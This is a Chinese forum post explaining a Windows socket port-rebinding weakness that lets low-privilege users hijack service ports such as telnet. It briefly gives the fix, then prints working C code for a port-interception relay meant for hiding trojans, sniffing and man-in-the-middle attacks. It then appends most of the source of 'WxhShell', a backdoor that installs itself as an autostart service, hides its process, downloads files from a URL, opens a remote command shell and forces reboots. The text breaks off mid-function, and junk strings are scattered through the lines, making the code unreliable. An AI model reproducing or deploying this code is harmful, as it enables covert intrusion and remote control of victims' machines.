社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 17793阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: *A<vrkHz  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); pCacm@(hG  
g&E3Wc  
  saddr.sin_family = AF_INET; CG[2  
{C>E*qp}f  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); >z #^JR\6  
#)3luf3G  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); HB|R1<t;HB  
7~zd % o  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 7uUo DM  
(5rfeSA^  
  这意味着什么?意味着可以进行如下的攻击: MUQj7.rNa  
+aY]?]  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 X RQz~Py  
&\Ze<u  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) LyRbD$m  
` x|=vu-  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ;?h+8Z/{  
K*!qt(D&  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  #gq!L  
?hC,49  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 {>v5~G  
nrEG4X9  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 e=ITAH3b  
VTUY#+3  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 0<3->uK  
ID_#a9N  
  #include 4UxxmREx;  
  #include W(#u^,$e[  
  #include c1Rn1M,2k  
  #include    f (Su  
  DWORD WINAPI ClientThread(LPVOID lpParam);   e 48N[p  
  int main() R:+cumHr  
  { s~p(59  
  WORD wVersionRequested; ;_~9".'<d  
  DWORD ret; >0X_UDAWz  
  WSADATA wsaData; iNCT(N~.  
  BOOL val; f>CJ1 ;][{  
  SOCKADDR_IN saddr; <q`'[1Y4  
  SOCKADDR_IN scaddr; 7Gwo:s L  
  int err; 5+DId7d'n  
  SOCKET s; ]&;K:#J  
  SOCKET sc; ?-v]+<$Y  
  int caddsize; d1qvS@  
  HANDLE mt; 4'~zuUs  
  DWORD tid;   ,J&\) yTP  
  wVersionRequested = MAKEWORD( 2, 2 ); btR~LJb  
  err = WSAStartup( wVersionRequested, &wsaData ); pw.K,?kYr  
  if ( err != 0 ) { Ga]\~31NE  
  printf("error!WSAStartup failed!\n"); f2LiCe.?  
  return -1; 4{lrtNd~K  
  } ^TZ`1:oL#  
  saddr.sin_family = AF_INET; cjp~I/U  
   ,f@\Fs~n  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 xNd p]u  
Ur9L8EdC  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); w/f?KN  
  saddr.sin_port = htons(23); PjG^L FX  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) H~NK:qRzK  
  { 0-Ga2Go9  
  printf("error!socket failed!\n"); Y*QoD9<T?;  
  return -1; wgUgNwd1  
  } s-801JpiJ  
  val = TRUE; LrH"d  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 L$z(&%Nx  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) A\w"!tNM|  
  { h(K}N5`  
  printf("error!setsockopt failed!\n"); ucYweXsO3  
  return -1; B#;6z%WK  
  } dQs>=(|t  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; &_$0lI DQ  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 r_hs_n!6  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 8-"D.b4  
]~:WGo=_  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Kw7uUJR  
  { U#G<cV79  
  ret=GetLastError(); XI+GWNAmJ  
  printf("error!bind failed!\n"); Y#t9DhzFWo  
  return -1; X#>:9  
  } $@HW|Y  
  listen(s,2); eg1Mdg\a  
  while(1) R>t?6HOcp  
  { Itz[%Dbiq9  
  caddsize = sizeof(scaddr); z2lT4SAv+  
  //接受连接请求 Ea)=K'Pz  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ~p`[z~|  
  if(sc!=INVALID_SOCKET) |ju+{+  
  { b]4\$rW7  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); A<y]D.Z"  
  if(mt==NULL) G1a56TIN~  
  { <{T5}"e  
  printf("Thread Creat Failed!\n"); pkf$%{"e  
  break; P0/Ctke;  
  } 2YQ;Kh"S   
  } ;4QE.&s`  
  CloseHandle(mt); `\r <3?  
  } < V*/1{  
  closesocket(s); Y?6}r;<  
  WSACleanup(); ^;sE)L6  
  return 0; ,<BV5~T.|  
  }   -W{ !`<8D  
  DWORD WINAPI ClientThread(LPVOID lpParam) 6j Rewj  
  { ?PYZW5  
  SOCKET ss = (SOCKET)lpParam; R; ui 4wg6  
  SOCKET sc; 7~~suQ{F4  
  unsigned char buf[4096]; kni{1Gr  
  SOCKADDR_IN saddr; Iqci}G%r  
  long num; y>X(GF^  
  DWORD val; Px3I+VP  
  DWORD ret; <@$+uZt+  
  //如果是隐藏端口应用的话,可以在此处加一些判断 \S_A e;  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   =q(?ALGc  
  saddr.sin_family = AF_INET; eH V#Mey[  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); PpLiH9}  
  saddr.sin_port = htons(23); ?_B'#,tI  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  Q@!XVQx4  
  { G{!(2D4!  
  printf("error!socket failed!\n"); 4F"%X &$  
  return -1; u+O"c  
  } KF6N P  
  val = 100; vm7ag 7@O  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Rk-G| 52g  
  { <TTBIXV  
  ret = GetLastError(); A34O(fE  
  return -1; -,Js2+QZ#  
  } q"5\bh1"  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'ka}x~EF  
  { :NL[NbQYt  
  ret = GetLastError(); #uV J  
  return -1; ?[|A sw1t  
  } ^u2x26].  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) / */"gz%  
  { }qJ`nN8  
  printf("error!socket connect failed!\n"); /BN=Kl]  
  closesocket(sc); }G "EdhSl  
  closesocket(ss); icQQLSU5  
  return -1; 8>9MeDE  
  } $DaQM'-  
  while(1) 29l bOi  
  { RG=i74a  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ->*~e~T  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ]T{v~]7:{  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 &7,:: $cu  
  num = recv(ss,buf,4096,0); [Op^l%BC  
  if(num>0) ILx4 [m7  
  send(sc,buf,num,0); )%b 5uZ  
  else if(num==0) Vry*=X &Q  
  break; [&IcIZ  
  num = recv(sc,buf,4096,0); W7c B  
  if(num>0) VN0KK 1 I  
  send(ss,buf,num,0); oWx^_wQ-=  
  else if(num==0) A)gSOC{3F)  
  break; .mNw^>:cq  
  } oVr:ZwkG3  
  closesocket(ss); ;<*USS6X  
  closesocket(sc); III:j hh  
  return 0 ; ">M&/}4  
  } IEd?-L  
8;"9A  
}ik N  
========================================================== g{ ;OgS3>  
)H`V\ H[0P  
下边附上一个代码,,WXhSHELL %Eugy  
;n.h!wmJ}  
========================================================== G^cMY$?99  
"[rz*[o8I  
#include "stdafx.h" ~Q#! oh'i  
H )>3c1  
#include <stdio.h> lWH#/5`h  
#include <string.h> _#Lq~02 %  
#include <windows.h> ]t~'wL#Z  
#include <winsock2.h> Mnk-"d  
#include <winsvc.h> #|3,DZ|)F  
#include <urlmon.h> f~,Ml*Zp  
l8J2Xd @   
#pragma comment (lib, "Ws2_32.lib") S_ nAO\h  
#pragma comment (lib, "urlmon.lib") JIjo^zOXsc  
?~IdPSY  
#define MAX_USER   100 // 最大客户端连接数 (sI`FW_  
#define BUF_SOCK   200 // sock buffer hT,rcIkg:  
#define KEY_BUFF   255 // 输入 buffer '? -N  
y>:U&P^  
#define REBOOT     0   // 重启 `A5n6*A7  
#define SHUTDOWN   1   // 关机 cs _  
M6 8foeeN  
#define DEF_PORT   5000 // 监听端口 L0I |V[  
<CJy3<$u  
#define REG_LEN     16   // 注册表键长度 "',;pGg|K  
#define SVC_LEN     80   // NT服务名长度 7KGb2V<t  
y(/5l   
// 从dll定义API =c$x xEDD  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Q/]o'_[vW  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); sxS%1hp3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @4Zkkjc4b  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Pd& Npp3  
R^=v&c{@  
// wxhshell配置信息 x4MTE?hT  
struct WSCFG { W8Wjq DQ  
  int ws_port;         // 监听端口 I(WIT=Wi<  
  char ws_passstr[REG_LEN]; // 口令 Y@< j vH1  
  int ws_autoins;       // 安装标记, 1=yes 0=no $RB p!7  
  char ws_regname[REG_LEN]; // 注册表键名 @nMVs6  
  char ws_svcname[REG_LEN]; // 服务名 2s> BNWTU  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^7*7^<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 MslgQmlM  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 AC 2kG  
int ws_downexe;       // 下载执行标记, 1=yes 0=no I}f7|hYX  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" f& \ Bs8la  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 lFduX D  
m`n~-_  
}; /2hRL yeAZ  
Q&+)Kp]A  
// default Wxhshell configuration FC~%G&K/q^  
struct WSCFG wscfg={DEF_PORT, FV3[7w=D\  
    "xuhuanlingzhe", fYzP4  
    1, X$@qs9?)^  
    "Wxhshell", Ryygq,>VD.  
    "Wxhshell", XPZ8*8JL  
            "WxhShell Service", k.jBu  
    "Wrsky Windows CmdShell Service", Rry] 6(  
    "Please Input Your Password: ", -rjQ^ze  
  1, WRA(k  
  "http://www.wrsky.com/wxhshell.exe", /u_9uJ"-K(  
  "Wxhshell.exe" l]#=I7 6  
    }; l!KPgRw  
kj.9\  
// 消息定义模块 NZ0?0*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _<DOA:'v  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6`G8UDK>F  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; XN>bv|*q  
char *msg_ws_ext="\n\rExit."; BjsTHS&  
char *msg_ws_end="\n\rQuit."; %3|/t-US  
char *msg_ws_boot="\n\rReboot..."; 4eG\>#5  
char *msg_ws_poff="\n\rShutdown..."; LXsZk|IhM  
char *msg_ws_down="\n\rSave to "; TI<3>R  
n)Cr<^j  
char *msg_ws_err="\n\rErr!"; 7-Oa34ba+  
char *msg_ws_ok="\n\rOK!"; aG]^8`~>'  
}%jpqip  
char ExeFile[MAX_PATH]; 1X`,7B@pz  
int nUser = 0; bq8Wvlv04  
HANDLE handles[MAX_USER]; >M!LC  
int OsIsNt; s$(%?,yf2  
lhnGk'@d  
SERVICE_STATUS       serviceStatus; Lfdg5D5.P  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ij~-  
S0gxVd(  
// 函数声明 h^qZi@L  
int Install(void); F u^j- Io  
int Uninstall(void); b62B|0i  
int DownloadFile(char *sURL, SOCKET wsh); rlawH}1b  
int Boot(int flag); ~Hv>^u Mh  
void HideProc(void); J .TK<!  
int GetOsVer(void); $~/cxLcT  
int Wxhshell(SOCKET wsl); r\FZ-gk}Q  
void TalkWithClient(void *cs); = &?&}pVF  
int CmdShell(SOCKET sock); $$W2{vr7+  
int StartFromService(void); r>i95u82'  
int StartWxhshell(LPSTR lpCmdLine); ~K;hXf  
-:"KFc8A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); EY3F9h3xM|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); osd oL  
CY{!BV'  
// 数据结构和表定义 Q-F$Ryj^  
SERVICE_TABLE_ENTRY DispatchTable[] = *h=>*t?I2  
{ q86}'dFw{  
{wscfg.ws_svcname, NTServiceMain}, vD:J!|hs(  
{NULL, NULL} : ir3u  
}; nf<I  
)8eb(!}7  
// 自我安装 @Tq-3Um  
int Install(void) K/*"U*9Kv  
{ GvgTbCxnN  
  char svExeFile[MAX_PATH]; ,b IJW]h0  
  HKEY key; 3A[<LnKR^E  
  strcpy(svExeFile,ExeFile); N{&Lo}6F  
surNJ,)  
// 如果是win9x系统,修改注册表设为自启动 9wGsHf8]  
if(!OsIsNt) { ;H`@x Lv*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /DyeMCY-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V=th-o3[  
  RegCloseKey(key); V9qA'k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Oq,@{V@)9k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >;Vfs{Z(q  
  RegCloseKey(key); j}s/)}n|  
  return 0; .taP2^2Z  
    } d=8.cQL:E  
  }  :TR:tf  
} ceD6q~)  
else { 'W4v>0   
jAue+ tB  
// 如果是NT以上系统,安装为系统服务 )!cucY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); x3#:C=  
if (schSCManager!=0) T0"nzukd  
{ >3B {sn}  
  SC_HANDLE schService = CreateService 7CSz  
  ( izGU&VeB  
  schSCManager, }$L1A   
  wscfg.ws_svcname, WQze|b %  
  wscfg.ws_svcdisp, Y<(7u`F  
  SERVICE_ALL_ACCESS, WLw i  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , eyp_.1C~  
  SERVICE_AUTO_START, IDD`N{EA  
  SERVICE_ERROR_NORMAL, 2yZ~j_AF[  
  svExeFile, m ie~. "  
  NULL, t']/2m.&p  
  NULL, %t!r pyD  
  NULL, vV$^`WY4  
  NULL, TOKt{`2}  
  NULL _e ;b B?S  
  ); *{j;LA.BR#  
  if (schService!=0) 67&Q<`V1*q  
  { (|o @  
  CloseServiceHandle(schService); \lQI;b;$  
  CloseServiceHandle(schSCManager); do.>Y}d  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y7CO%SA  
  strcat(svExeFile,wscfg.ws_svcname); 4F0w+w JD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &a e!lB  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); F.i}&UQ%  
  RegCloseKey(key); +Yq?:uBV  
  return 0; pY3/AO=  
    } .d[ ^&<^  
  } cJ@fJ|  
  CloseServiceHandle(schSCManager); T,uF^%$@AQ  
} m9sck:g#L1  
} <ta{)}IN^  
+v5f-CBu  
return 1; skan1wQ  
} 9xq3>(  
{jQLr7'  
// 自我卸载 ("j;VqYUL  
int Uninstall(void) 2)\MxvfOh  
{ { pQJ.QI  
  HKEY key; Qt{V&Z7  
`AvK8Wh<+  
if(!OsIsNt) { 5 -|7I7(G$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nvLdgu4P>  
  RegDeleteValue(key,wscfg.ws_regname); <pa-C2Ky  
  RegCloseKey(key); IA Ma  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -AD` (b7q  
  RegDeleteValue(key,wscfg.ws_regname); '%ZKvZ-  
  RegCloseKey(key); _Li.}g@Bd  
  return 0; He4HI Z  
  } 0-{E% k  
} islHtX VE  
} 7t#Q8u?  
else { V#.pi zb  
lX2:8$?X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &=M4Z/Ao  
if (schSCManager!=0) .o]I^3tf c  
{ "M/) LXn:0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Q(aNa!  
  if (schService!=0) /F"eqMN  
  { I0Allw[  
  if(DeleteService(schService)!=0) { fJ5mKN  
  CloseServiceHandle(schService); .57F h)Y  
  CloseServiceHandle(schSCManager); "q=ss:(  
  return 0; ?SO!INJ  
  } zh=0zJ  
  CloseServiceHandle(schService); fK]%*i_"  
  } CMbID1M3  
  CloseServiceHandle(schSCManager); |.yS~XFJS  
} 4I2:"CK06  
} G4'Ee5(o  
6'e^np  
return 1; /AOGn?Z3  
} 'm |T"Ym~  
bo<.pK$  
// 从指定url下载文件 IgwHC0W  
int DownloadFile(char *sURL, SOCKET wsh) &nVekE:!  
{ D4y!l~_,%M  
  HRESULT hr; +HWFoK  
char seps[]= "/"; Whp`\E< <  
char *token; jck(cc= R  
char *file; {g`!2"  
char myURL[MAX_PATH]; +]-'{%-zK  
char myFILE[MAX_PATH]; ik)u/r DW  
L >"O[@  
strcpy(myURL,sURL); ??P\v0E  
  token=strtok(myURL,seps); 0m.`$nlV-  
  while(token!=NULL) <*^|Aj|#  
  { kb"Fw:0  
    file=token; s?S e]?i  
  token=strtok(NULL,seps); F @Wi[K  
  } <o3I<ci6  
FJ!`[.t1AU  
GetCurrentDirectory(MAX_PATH,myFILE); M;3q.0MU  
strcat(myFILE, "\\"); pp1Kor  
strcat(myFILE, file); 4Y3@^8h&=  
  send(wsh,myFILE,strlen(myFILE),0); xhho{  
send(wsh,"...",3,0); 0[<' ygu  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); cV@^<  
  if(hr==S_OK) rr(kFQ"  
return 0; "+qZv(  
else >FHx],  
return 1; ZlE=P4`X:  
:8}Qt^p  
} E>*Wu<<  
1R*;U8?  
// 系统电源模块 R=, pv'  
int Boot(int flag) |T"j7  
{ +/[Rvh5WZ  
  HANDLE hToken; 5W|wDy  
  TOKEN_PRIVILEGES tkp; FYE(lEjxi  
(6mw@gzr  
  if(OsIsNt) { VSCKWYy  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); mAW(j@5sp  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); lf KV%  
    tkp.PrivilegeCount = 1; XVfUr\=,T  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9 ;uw3vI%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "%dENK  
if(flag==REBOOT) { @gf <%>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Gl3g.`X{$@  
  return 0; j"TEp$x  
} CKFr9bT{  
else { sh`3${  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |Thm5,ao  
  return 0; . uGne  
} ,\3Cq2h  
  } Qh Rj*,  
  else { <6hs<qXqi  
if(flag==REBOOT) { nTs\zikP  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) r oG<2i F  
  return 0; b5jD /X4  
} | a i#rU  
else { XH*(zTd(?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1>OU~A"  
  return 0; U61 LMH  
} Zm++5b`W/[  
} #n.v#FyNx  
IQ~Anp^R  
return 1; 8::y5Yv]  
} GyxLzrp  
D,FgX/&i/  
// win9x进程隐藏模块 .-MJ5d:  
void HideProc(void) jw\4`NZ]  
{ +"WNG  
A(BjU:D(Oj  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); A~k: m0MX  
  if ( hKernel != NULL ) 7TypzgXNe  
  {  vmfFR  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [4B (rra  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); vfhoN]v  
    FreeLibrary(hKernel); $/JXI?K  
  } P@5-3]m=  
/RhM6N  
return; jY/(kA]}  
} 0v1~#KCm  
3^q9ll7Op  
// 获取操作系统版本 l6xqc,h!K  
int GetOsVer(void) N~`r;E  
{ F >n_k  
  OSVERSIONINFO winfo; 8(q8}s$>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4 8 J{Y3F  
  GetVersionEx(&winfo); Zg4wd/y?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4z~;4   
  return 1; [rAi9LSO"  
  else XknNb{. r  
  return 0; VTDnh*\5  
} e,#5I(E  
H D$`ZV  
// 客户端句柄模块 A93(} V7I  
int Wxhshell(SOCKET wsl) 6wq%4RI0  
{ p`U#  
  SOCKET wsh; ~fcC+"7q/  
  struct sockaddr_in client; lY,9bSF$  
  DWORD myID; QP!;Gwqr  
1{cF/ :o  
  while(nUser<MAX_USER) lSd tw b  
{ j 7O!uUQQ  
  int nSize=sizeof(client); ff fWvf  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); z1tCSt}7f  
  if(wsh==INVALID_SOCKET) return 1; ^n4aoj  
wu{%gtx/;^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -H_#et3&i  
if(handles[nUser]==0) k!+v*+R+V  
  closesocket(wsh); 7pep\  
else }PDtx:T-  
  nUser++; AtAu$"ue  
  } 6*>vie  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); q %tq9%  
i{Q,>Rt  
  return 0; juM~X5b  
} P^lRJB<$Q  
S4(?= ,^-  
// 关闭 socket ,L>{(Q)  
void CloseIt(SOCKET wsh) 9 v ,y  
{ ~Z#\f5yv@  
closesocket(wsh); d=\\ik8  
nUser--; ,~l4-x.,  
ExitThread(0); 0BjP|API  
} duCXCX^n T  
vZ=dlu_t  
// 客户端请求句柄 u^VQwu6?G  
void TalkWithClient(void *cs) d] E.F64{  
{ 76c:* bZ  
cauKG@:2F  
  SOCKET wsh=(SOCKET)cs; 7eZwpg?K  
  char pwd[SVC_LEN]; Tn>L?  
  char cmd[KEY_BUFF]; qCm%};yt  
char chr[1]; $\20Vgu<  
int i,j; 0PUSCka'6  
C'sA0O@O  
  while (nUser < MAX_USER) { $Nj'_G\}  
/>PH{ l  
if(wscfg.ws_passstr) { 8N#.@\'kz.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >7W8_6sC<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Gh%dVP9B@P  
  //ZeroMemory(pwd,KEY_BUFF); 8<E U|/O  
      i=0; f=4q]y#& X  
  while(i<SVC_LEN) { 1x+w|h  
O#vIn}  
  // 设置超时 0? KvR``Aj  
  fd_set FdRead; YQO9$g0% ~  
  struct timeval TimeOut; \[B#dw#  
  FD_ZERO(&FdRead); HXqG;Fds(  
  FD_SET(wsh,&FdRead); b|@f!lA  
  TimeOut.tv_sec=8; 6gq`V,  
  TimeOut.tv_usec=0; nK]L0*s  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); f~p[izt  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); j(_6.zf  
8}Maj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); np7!y U  
  pwd=chr[0]; 7#26Smv  
  if(chr[0]==0xd || chr[0]==0xa) { ^7$Q"  
  pwd=0; GN|xd+O_  
  break; *zX^Sg-[  
  } \ERHnh  
  i++; ]XfROhgP=  
    } 5VLC\QgK^  
6:G ::"ew  
  // 如果是非法用户,关闭 socket IU]@%jA_:A  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); eGbjk~,f'  
} pr1>:0dg  
(xBWxeL~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); k]A$?C0Q<%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {r?Ly15  
M_;hfpJZ  
while(1) { N#X(gEV  
95tHi re  
  ZeroMemory(cmd,KEY_BUFF); ::Di  
P"+K'B7K3  
      // 自动支持客户端 telnet标准   E I&)+cC  
  j=0; l9NET  
  while(j<KEY_BUFF) { ^JB5-EtL(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @c%h fI  
  cmd[j]=chr[0]; ~t.i;eu  
  if(chr[0]==0xa || chr[0]==0xd) { O-<nL B!Wf  
  cmd[j]=0; lhFv2.qR  
  break; ~NwX,-ri  
  } )TkXdA?.  
  j++; gJ5|P .  
    } nrz2f7d$  
59a7%w  
  // 下载文件 L'x[wM0w;  
  if(strstr(cmd,"http://")) { 0tN/P+!|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); p=f8A71  
  if(DownloadFile(cmd,wsh)) 9M .cTIO{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &8Oy*'  
  else XZpF<7l  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %4h$/~  
  } Ky[-ZQQo=5  
  else { <cR]-Yr~  
,N2|P:x  
    switch(cmd[0]) { >iWw i'T=  
  d@<~u,Mt&F  
  // 帮助 CDRz3Hu U  
  case '?': { h%%dRi  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^36m$J$  
    break; 0BHSeO,  
  } ]}N&I_mU  
  // 安装 uJt*> ;Kp  
  case 'i': { ZfWF2%]<  
    if(Install()) X}j_k=,C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0tah$;c e  
    else  DE14dU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]1i1_AR'`  
    break; XZ1<sm8t."  
    } UP e@>  
  // 卸载 |gJI}"T  
  case 'r': { An3%@;  
    if(Uninstall()) 9]*hP](  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7V7iIbi  
    else (n~GKcA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t3FfPV!P"  
    break; bl`vT3  
    } L[p[m~HjG^  
  // 显示 wxhshell 所在路径 Eza B}BLQ9  
  case 'p': { vKcc|#  
    char svExeFile[MAX_PATH]; 4qLH3I[Y  
    strcpy(svExeFile,"\n\r"); + |d[q?  
      strcat(svExeFile,ExeFile); $_0~Jzt,  
        send(wsh,svExeFile,strlen(svExeFile),0); ]$ iqJL  
    break; gye'_AR?k  
    } \y0uGnmCj  
  // 重启 ]tDuCZA  
  case 'b': { ?Y#x`DMh  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); a2`|6M;  
    if(Boot(REBOOT)) jM|-(Es. )  
